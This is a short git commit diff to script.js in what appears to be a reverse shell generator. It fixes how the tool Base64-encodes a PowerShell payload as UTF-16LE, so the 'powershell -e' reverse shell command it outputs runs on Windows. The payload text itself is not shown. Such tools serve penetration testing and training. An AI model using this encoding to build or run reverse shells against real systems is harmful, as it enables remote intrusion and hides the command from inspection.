Update script.js

Fixed Windows Powershell Base64 to UTF16-LE
This commit is contained in:
Ryan Montgomery 2021-07-20 19:14:53 -04:00 committed by GitHub
parent 3a6f0b2712
commit 377729ff31
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -161,7 +161,19 @@
if (rsg.getSelectedCommandName() === 'PowerShell #3 (Base64)') {
const encoder = (text) => text;
const payload = rsg.insertParameters(rsgData.specialCommands['PowerShell payload'], encoder)
command = "powershell -e " + btoa(payload)
command = "powershell -e " + btoa(toBinary(payload))
function toBinary(string) {
const codeUnits = new Uint16Array(string.length);
for (let i = 0; i < codeUnits.length; i++) {
codeUnits[i] = string.charCodeAt(i);
}
const charCodes = new Uint8Array(codeUnits.buffer);
let result = '';
for (let i = 0; i < charCodes.byteLength; i++) {
result += String.fromCharCode(charCodes[i]);
}
return result;
}
} else {
command = rsg.getReverseShellCommand()
}